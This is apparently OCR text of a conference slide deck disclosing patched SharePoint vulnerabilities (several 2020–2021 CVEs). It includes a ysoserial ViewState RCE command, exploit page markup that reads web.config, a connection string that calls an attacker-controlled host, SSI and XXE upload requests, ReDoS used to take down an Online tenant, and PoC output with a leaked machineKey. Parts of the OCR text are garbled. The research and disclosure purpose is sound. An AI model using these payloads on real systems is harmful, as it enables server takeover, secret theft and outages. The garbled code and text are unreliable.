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Introduction to SharePoint

As a part of Office 365 Products, Microsoft SharePoint
is one of the most popular and trusted Content
Management System (CMS), which don't need too much
professional knowledge and skills to deploy and are
concerned by many organizations.
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Sharepoint Structure

® site admin(s) is the most
senior administrator

® users can add subsites (by
default)

® every site have a site
owner (s), normally who
create 1t




Key Differences

SharePoint has several differences to popular open
source competitors:

Virtual Directories

The ability to create “sites”

Users can upload a custom page in their sites
Several Authentication methods including NTLM, FBA



Design Weaknesses

The use of static validation keys means 1if an
attacker has an arbitrary file read vulnerability,
then he can achieve remote code execution (RCE)
via ViewState deserialization.

ysoserial -p ViewState -g TypeConfuseDelegate -c mspaint --apppath=/ --path=/_layouts/15/zoombldr.aspx
--islegacy --validationalg=HMACSHA256 --
validationkey=55AAEOABE646746523FASEE0675232BE39990CDAC3AE2B0772E32D71C05929D8



AddAndCustomizePages default
danger

e What is "AddAndCustomizePages ?

Users can create page in their sites if they have the
"AddAndCustomizePages privilege.

® Who has this privilege?
O On-Prem: Site Owner
O Online: Site Owner and enable it in Admin Panel



AddAndCustomizePages default
danger

Users can upload aspx pages with client-side content
AND server-side asp.net controls known as “site
pages”. However, these controls are:

® Filtered against an allow list using the
SafeControls tag inside of the web.config file

® Deserialized using XAML -
System.Windows.Markup.XamlReader.Load sink



AddAndCustomizePages default
danger

® Users cannot upload inline asp.net script code
directly

® Additionally, asp.net server-side include are
blocked.

However, the combination of allowed server-side
controls and client-side script can be quite
problematic



AddAndCustomizePages default

danger

Site Pages Application Pages
Created by User System
Location Database (Virtual Directory) File System
Compiled Not compiled Compiled
Trusted Untrusted Trusted




Server Side



Server Side

® Bypass SPPageParseFilter Check
O Safe Controls Bypass
B SPSglDataSource File Disclosure (CVE-2020-17120) & Patch Bypass
B TnputFormRegularExpressionValidator ReDos (CVE-2021-28450)
B  PasswordRecovery File Disclosure (CVE-2020-17017)
O Server side Include
B DataFormwWebPart CreateChildControls SSI (CVE-2020-16952)
® Server Side Request Forgery
O SPHashtagHelper SSRF (CVE-2020-1440)
® XML parsing (Old .NET Framework)
O GetPluginContent XXE (CVE-2021-24072)



Bypass SPPageParseFilter Check

© Allow any file in File System

® Block files 1in databases contains (in most cases)
o Unsafe Controls

o0 Server side include
© Asp.net Inline code

File System

[—-—_ System.aspx Normal __ﬂ
[ =
SPPageParserFilter
e ﬂ

Database



SafeControls

e ASP.net controls derived from the System.Web.UI.Control
class

® Represented in XAML and deserialized
o Setters are triggered

e Controls which are marked as safe in web.config

<SafeControl Assembly="System.Web, Verston:d.ﬁ).@.@ Culture=neutral, PublicKeyToken=b@3f5f7flld50a3a"
Namespace— Systern Web.UI" TypeName="* AllowRemo‘ceDestgner— True" />

ontrol Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b@3f5f7flld50a3a"
Namespace— System Web.UI.WebControls" TypeName="SqlDataSource" AllowRemoteDesigner="False"
SafeAgainstScript="False" />



SafeControls

Let’s think if a control extends from an unsafe control

Is it safe?

Yes!!



Exploitation Examples



SPSglDataSource File Disclosure (CVE-
2020-17120)

e SglDataSource 1i1s not a SafeControl

<SafeControl Assembly="System.Web, Version=4.0.0.8, Culture=neutral, PublicKeyToken=b@3f5f7f11d50a3a"
Namespace="System.Web.UI.WebControls" TypeName=" " Safe= AllowRemoteDesigner="False"
SafeAgainstScript="False" />

e But SPSglDataSource is a SafeControl which
inherited from SglDataSource



SPSglDataSource File Disclosure (CVE-
2020-17120)

e SglConnection.Open sink

e Attacker controls the ConnectionString

e Can be used to attack the sqgl client drivers
o MySQL ODBC 5.1 Driver 1is a good target
O LOAD DATA LOCAL INFILE " /web.config’



SPSglDataSource File Disclosure (CVE-
2020-17120)

< ID="spsqldsl" runat="server" ProviderName="
ConnectionString="
" SelectCommand="select * from
users" />
<form runat="server"><asp:ListBox ID="ListBoxl" runat="server" DataSourcelD="spsqldsl" ></asp:ListBox>



POC video
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SPSglDataSource Patch Bypass (CVE-
2021-24071)

® Microsoft decided to add some
protections to filter attacker
controlled connection strings.

® But there was a time of check
time of use (TOCTOU) bypass

Fun fact: We never tested this
patch bypass, we just reviewed
the patch quickly and assumed it
was 1ncomplete! &




SPSglDataSource Patch Bypass (CVE-
2021-24071)

Patch Details

e New Check Added - "CheckConnectionString’

o It will get the ConnectionString
o Call IsAllowedOdbcDriver:

® Focus on IsAllowedOdbcDriver"



SPSglDataSource Patch Bypass
2021-24071)

bool IsAllowedOdbcDriver(string ConnectionString)

{
0dbcConnectionStringBuilder odbcConnectionStringBuilder
0dbcConnectionStringBuilder(ConnectionString);
SPFarm local = SPFarm.Local;
string = string.Empty;
(!string.IsNullOrEmpty(odbcConnectionStringBuilder.Dsn))
{
StringBuilder stringBuilder = StringBuilder(128);
inin =-SP D e.SQLGetPrivateProfileString("0DBC Data Sources",
"" stringBuilder, stringBuilder.Capacity, "ODBC.INI");

odbcConnectionStringBuilder.Dsn,
JbuU

U U o0
{
| = stringBuilder.ToString().Trim{ char[]
1
|{|'
|}|
}.Trim(Q);
}

(CVE-

[ local.AllowedOdbcDrivers.Contains( )]d—on'Ly Allow SQL Server




SPSglDataSource Patch Bypass (CVE-
2021-24071)

SglConnection.Open looks for either a dsn or driver property.
Whichever s set first it uses.

We can exploit this for a TOCTOU by providing the dsn
property after the Driver.

Impact: RCE via ViewState deserialization

Caveat - the attacker needs to know of an existing System DSN
on the targets system that uses the “SQL Server” driver



SPSglDataSource Patch Bypass (CVE-
2021-24071)

powershell> Add-0dbcDsn -Name "poc" -DriverName "SQL Server" -DsnType "System" -Platform "64-bit"

ConnectionString="driver={MySQL ODBC 5.1
Driver};dsn= ;server=attacker.tld;port=3306;database=test;uid=junk;pwd=junk;"



InputFormRegularExpressionValidator Redos
(CVE-2021-28450)

® Another Unsafe Control RegularExpressionValidator
200
<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
Namespace="System.Web.UI.WebControls" TypeName="RegularExpressionValidator"

AllowRemoteDesigner="False" SafeAgainstScript="False" />

® InputFormRegularExpressionValidator inherited
from it



InputFormRegularExpressionValidator Redos
(CVE-2021-28450)

e Example

O We can control expression and validatevalue
o Anything others?

Box runat "server" id="TitleTB"/>
lator ID="Validator" runat="server" Display="Dynamic"
SetFocusOnError— true ControlToValldate- TitleTB" ErrorMessage="Error"



InputFormRegularExpressionValidator Redos
(CVE-2021-28450)

e Example

O We can control expression and validatevalue

o Anything others?

O We can control timeout too

O What happens if we insert a malicious expression ? A

< runat="server" id="TitleTB"
<SharePoint:InputF equ =Xpression ator ID="Validator" runat="server"
Display="Dynamic" SetFocusOnError="true"
ErrorMessage="Error"



InputFormRegularExpressionValidator Redos
(CVE-2021-28450)

® Think about this
© Input: a % 128 + !

extBox runat="server" id="TitleTB"/>
~ yint: t ‘ 1lidator ID="Validator" runat="server"
Dlsplay— Dynamlc SetFocusOnError— true ControlToValidate="TitleTB"
ErrorMessage="Error"



InputFormRegularExpressionValidator Redos
(CVE-2021-28450)

RegExp: /7 (([a-z])+.)+[A-Z]([a-z])+$/
Group #1
Group #2 Group #3

One of: One of: One of:

m AnyCharExceptNewLine @—m—o

1 or more times




InputFormRegularExpressionValidator Redos
(CVE-2021-28450)




InputFormRegularExpressionValidator Redos
(CVE-2021-28450)

® We send 50 request to make our sharepoint online
tenant Died

_..sharepoint.com/ layouts/15/Throttle.htm#-1

Something's not right

The page you requested is temporarily unavailable. We apologize for the inconvenience, please check back in a few minutes.




PasswordRecovery File Disclosure
(CVE-2020-17017)

We found two types that were blocked in web.config:

200
' ot TypeName—" " Safe="False" AllowRemoteDesigner="False"
SafeAgaLnstScrlpt 'False"
Enoit i TypeName—" " Safe="False" AllowRemoteDesigner="False"

SafeAgalnstScrtpt 'False"

We asked ourselves, why were those controls blocked?



PasswordRecovery File Disclosure
(CVE-2020-17017)

System.Web.UIl.Control.OpenFile
System.Web.Ul.WebControls.MailDefinition.CreateMailMessage
System.Web.UIl.WebControls.LoginUtil.CreateMailMessage
System.Web.Ul.WebControls.LoginUtil.SendPasswordMail

ChangePassword.PerformSuccessAction
CreateUserWizard-AttemptCreatedser————
n PasswordRecovery.AttemptSendPasswordQuestionView
n PasswordRecovery.AttemptSendPasswordUserNameView



PasswordRecovery File Disclosure
(CVE-2020-17017)

® Email addresses were assigned to accounts using form
based authentication (FBA) which is the default
authentication method with SharePoint Online.

® The vulnerability allowed attackers to email themselves
with web.config and gain RCE

® Attacker needs to leak the membership provider - possible
via the session cookie.

® (Qutgoing SMTP server needs to be configured on the

target.



PasswordRecovery File Disclosure
(CVE-2020-17017)

<form runat="server">
<asp:PasswordRecovery MembershipProvider="[membership provider herel" runat="server"-
<MailDefinition From="steven@srcincite.io"
Subject="stealing files" Priority="high"
[ BodyFileName="c:/inetpub/wwwroot/wss/virtualdirectories/80/web.config" /> ]
</asp:PasswordRecovery>
</form>




PasswordRecovery File Disclosure
2020-17017)

$ ./poc.py

(+)
(+)

usage: ./poc.py <target> <user:pass>
eg: ./poc.py win-3t816hj84n4 "user:userl23###"

$ ./poc.py win-3t816hj84n4 "user:userl23###"

(=)
(+)
(+)
(+)
(+)
(+)
(+)
(+)
(+)

getting postback data for http://win-3t816hj84n4/_forms/default.aspx..
grabbed the __VIEWSTATE!

grabbed the __EVENTVALIDATION!

leaked membership provider: fbamembershipprovider

crafted PasswordRecovery page, triggering leak..

getting postback data for http://win-3t816hj84n4/poc.aspx..

grabbed the __VIEWSTATE!

grabbed the __EVENTVALIDATION!

triggered an email to the attacker with web.config!

(CVE-



PasswordRecovery File Disclosure

(CVE-2020-17017)

3 2020-Aug-11 071829 UTC SMTFP ceuusfyGybudygfiinrf3fgkkbgleg
4 2020-Aug-11 07:23:05 UTC  SMTP ceuusfyGybudyqgfifnrf3fgkkbgieq

Description | SMTP Conversation |

I

rosoft.PerformancePoint.Scorecards.WebClontrols, Version=3Dl1l6.0.0.=
0, Culture=3Dneutral, PublicKeyToken=3DTlefbcellle®42%9c" />=0D=0A=
<add name=3D"TransformableFilterValuesToEntityInstanceTra=
nsformer" type=3D"Microsoft.SharePoint.FPortal.WebControls.  Transfos=
rmableFilterValuesToEntityInstanceTransformer, Microsoft.SharePoil
nt.Portal, Version=3D016.0.0.0, Culture=3Dneutral, Publi
Tle%bcellleS428c™ />=0D=0A </transformers>=0D0=0A </webPar=
ts>=00=0A <machineKey validationKey=3D"44B1C71EEFl&68FFE28771F6=
B6AZFBCEB2491FBADG112CCCE60TTH935EB303079A" decryptionKey=3D"5B55%=
ATOCARYE4EETGABBAGO04A20208BlF9E2BS5BTE3411E645104C1IATDCEFFD3T" vali=
dation=3D"HMACSHAZ5&" /[>=0D=0A <membership defaultProvider=3D"=
i">»=0D=0a <providers>=0D=0A <add name=3D"i" type=3D"M=
icrosoft.SharePoint.Administration.Claims.S5PClaimshuthMembershipP=
rovider, Microsoft.SharePoint, Version=3D16.0.0.0, Culture=3Dneut=

— 1 Tesk Y &2 =T =M = lo=m 2 e FETY =\l amaed 49 =5 A4S =W F o e P T e T e

e

i




Server side include (SSI)

@ SSI are directives that are placed in HTML pages,
and evaluated on the server while the pages are
being served. In asp.net, it is convenient to
include "web.config to steal machineKey

e Example
O Relative path

<!--#include virtual="/web.config"-->

O Absolute path

<!--#include file="c:/inetpub/wwwroot/wss/virtualdirectories/80/web.config"-->




Server side include (SSI)

® But it is blocked

o200
PUT /SitePages/ssi.aspx HTTP/1.1

Host: sp2019

Content-Type: application/x-www-form-urlencoded
Content-Length: 11

<!--#include virtual="/web.config"-->

e Site Pages created by user

® SSI s not allowed because "SPPageParserFilter As
enabled default



Exploitation Examples



DataFormWebPart CreateChildControls SSI
(CVE-2020-16952)

e Bypass/Disable "SPPageParserFilter ?

If the second parameter of ParseControl is true ,
SPPageParserFilter will be ignored!

200

Control ParseControl(string content, bool ignoreParserFilter)

{
TemplateParser.ParseControl(content, VirtualPath.Create( .AppRelativeVirtualPath),
ignoreParserFilter);

s



DataFormwWebPart CreateChildControls SSI
(CVE-2020-16952)

e good target

‘DataFormWebPart.CreateChildControls() dangerous if
flag2 == true

bool flag2 = EditingPageParser.VerifySPDControlMarkup( ._partContent);

Control control = .Page.ParseControl( ._partContent, flag2);



DataFormwWebPart CreateChildControls SSI
(CVE-2020-16952)

® Before this line, we need to bypass some check

o Valid Xml Format
B Can’t register prefix because <% 1s not a xml format
o Should have “runat=server flag
m Or your content will be considered to client code
o VerifyControlOnSafelList(with false parameter)
B Can’t use unsafe control
B Can use Server side dnclude
o VerifySPDControlMarkup
B Can’t contain objectdatasource which is a notorious
gadget



DataFormwWebPart CreateChildControls SSI
(CVE-2020-16952)

® Bypass 1itn
O We can use ssi when VerifyControlOnSafelist with false
parameter
O runat=server can be used in HTML tag
o We don’t need to use unsafe control or objectdatasource,
reading web.config 1s enough to cause rce

<form runat="server"><!--#include ="/web.config"-->



POC video
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Server-side Request Forgery (SSRF)

string urlg"http://attacker.controlled.tld";

WebRequest req = WebRequest.Create(url);
req.method = "GET";

req.Credentials = CredentialCache.DefaultCredentials;
HttpWebResponse res = (HttpWebResponse)req.GetResponse();

string res_from_server = new StreamReader(res.GetResponseStream()).ReadToEnd();
Console.WriteLine(res_from_server);

There were a dozen of SSRF vulnerabilities



Exploitation Examples



SPHashtagHelper SSRF (CVE-2020-
1440)

® SPHashtagHelper.CallOLS

It will create a WebRequest by SafeCreate (wrapper of Create)
and return the result of the request.
00

Microsoft.SharePoint
{
[ClientCallableType(ServerTypeld = "{CB694AA5-A1C5-4551-BFB0-6BE94DF1522E}", Name =
"HashtagStoreManager", IsBeta = true)]
SPHashtagStoreManager
{

[[ClientCallableMethod(Name = "CallOLS", OperationType = OperationType.Read, IsBeta = true)]]
string CallOLS(string url)

{

FPHashtagHelper.MakeOLSGetRequest(url); ]

}



SPHashtagHelper SSRF (CVE-2020-
1440)

® SPHashtagHelper.CallOLS

It will create a WebRequest by "SafeCreate (wrapper of
Create) and return the result of the request.

There is a SSRF vulnerability if we can control url
param.

® How to reach this endpoint?



SPHashtagHelper SSRF (CVE-2020-
1440)

© If one method is marked as [ClientCallableMethod],
We can trigger it by api request, normally like

/_api/NameSpace.ClientCallableType.Clie

So here 1s

/_api/SP.HashtagStoreManager.

¢ And we can control any params!



SPHashtagHelper SSRF (CVE-2020-
1440)

GET /_api/SP.HashtagStoreManager.CallOLS? HTTP/1.1
Host: <target>

HTTP/1.1 200 OK
Content-Type: application/xml;charset=utf-8
Content-Length: 11182

<?xml version="1.0" encoding="utf-8"?>

<d:CallOLS xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices"
xmlns:m="http://schemas.microsoft.com/ado/2007/08/dataservices/metadata"
xmlns:georss="http://www.georss.org/georss" xmlns:gml="http://www.opengis.net/gml">

</d:CalloLS>



XML Parsing(Old .Net Framework)

When XML 1input containing a reference to an external

entity 1s processed by a default XML parser, XML
external entities are resolved.

Impact:

® Arbitrary file disclosure
® DoS

® SSRF

Sometimes, this can lead to RCE.



XML Parsing(Old

® Vulnerable Code

System.Xml;

TestNamespace
{
DoNotUseLoadXml
i
TestMethod(string xml)
{
XmlDocument doc = XmlDocument();
doc.LoadXml(xml);
}
}

}

.Net Framework)



XML Parsing(Old .Net Framework)

® Vulnerable Code
There are a lot vulnerable slots in .NET Framework.

XmlSchema.Read( )
XPathDocument(stream)

XmlValidatingReader(xmlFragment, fragType, context)
XmlSerializer.Deserialize()
DataSet.ReadXml( )

XmlSchemaCollection.Add(String, String)



XML Parsing(Old .Net Framework)

® Migration

o Upgrade .NET Version to upper 4.5, which will block dtd
default

o Use XmlReader to protect, for example

00

using System.Xml;

public static TestMethod(string xml)
{
XmlDocument doc = XmlDocument() { XmlResolver = null };
System.I0.StringReader sreader = System.I0.StringReader(xml);
XmlReader reader = XmlReader.Create(sreader, XmlReaderSettings() { XmlResolver = null });

doc.lLoad(reader);



XML Parsing(Old .Net Framework)

® But Sharepoint’s .NET version 1is



Exploitation Examples



GetPluginContent XXE (CVE-2021-
24072)

® GetPluginContent()

which call "XmlDocument.lLoadXml() , It will read pluginFile
content and pass 1t to LoadXml sink

AddinPlugin GetPluginConten{(SPFile pluginFile,]string pluginName)

AddinPlugin addinPlugin = AddinPlugin();

= i e
(StreamReader streamReader = StreamReader(pluginFile.OpenBinaryStream()))]

{

XmlDocument xmlDocument = XmlDocument();
[xmlDocument.Loadel(streamReader.ReadToEnd());]




GetPluginContent XXE (CVE-2021-
24072)

® Call Stack

4 g Microsoft.SharePointPublishing. .GetPluginContent(SPFile, string) : AddinPlugin @06003F74
4 O UsedBy

¥, Microsoft.SharePoint.Publishing. GetPlugin(SPSite, string) : AddinPlugin @06003F6B
4 O usedBy

4 7 Microsoft.SharePointPublishing. .GetPlugin(string) : AddinPlugin @06003F&0

4 O Used By
47 Bicrosoft.sharePoint.Puinshing.SiteSelW.*icesAddinsSewerStu b.GetPlugin_MethodProxy(ClientValueCollection, ProxyContext) : AddinPlugin @06000375
- Used By

¥ BN I\i’licrosoft.sharePointPublishing.SiteSewicesAdd‘lnsSewerStu b.InvokeStaticMethod(string, ClientValueCollection, ProxyContext, out bool) : object @06000378



GetPluginContent XXE (CVE-2021-
24072)

® How 1t works?

It will get all the files 1in " /_catalogs/wp/<xxx>.webpart"
SPFile: Include files in file system and database!

Find the filename equals the parameter you submitted

Read 1t’s content back and call XmlDocument.LoadXml ()

O O O O



GetPluginContent XXE (CVE-2021-
24072)

® First Step
o Craft an XXE payload and place it on the server

PUT /_catalogs/wp/xxe.webpart HTTP/1.1
Host: sp2019
Authorization: NTLM XxXxxxxx

Content-Type: application/x-www-form-urlencoded
Content-Length: 13

<XXE Payload>



GetPluginContent XXE (CVE-2021-
24072)

® But how to trigger 1it?

Look at the call stack

4 75 MicrosoftSharePointPublishing. .GetPluginContent(SPFile, string) : AddinPlugin @06003F74
4 O UsedBy
4 7, MicrosoftSharePoint.Publishing. GetPlugin(SPSite, string) : AddinPlugin @06003F6B
4 O usedBy
4 7 Microsoft.SharePointPublishing. GetPlugin(string) : AddinPlugin @06003F60 ]
4 }J Used By
47 Bicrosoft.sharePoint.Puinshing.SiteSelW.*icesAddinsSewerStu b.GetPlugin_MethodProxy(ClientValueCollection, ProxyContext) : AddinPlugin @06000375
- Used By

¥ BN I\i’licrosoft.sharePointPublishing.SiteSewicesAdd‘lnsSewerStu b.InvokeStaticMethod(string, ClientValueCollection, ProxyContext, out bool) : object @06000378



GetPluginContent XXE (CVE-2021-
24072)

® What is [ClientCallable] Attribute?

o Different from [ClientCallableMethod]
o It’s means you can call 7t using Client-side SharePoint
Object Model API (CSOM)

[ClientCallable(ClientLibraryTargets = ClientLibraryTargets.NonRESTful)]
AddinPlugin GetPlugin(string pluginName)

{
SiteServicesAddins.CheckRights();

SiteServicesAddins.GetPlugin(SPContext.Current.Site, pluginName);



GetPluginContent XXE (CVE-2021-
24072)

® CSOM stands for SharePoint client object model
O used to dnsert, update, delete and retrieve data 1in
SharePoint.
© SDK actually
® Microsoft provides various client object models
o JavaScript object model (JSOM)
0 SharePoint Rest API
o SharePoint .NET client object model



GetPluginContent XXE (CVE-2021-
24072)

e CSOM

Every [ClientCallable] function has a paired
[Remote] function

{w [Remote] InvokeStaticMethod Method_proxy [ClientCallable] }

Users Server




GetPluginContent XXE (CVE-2021-
24072)



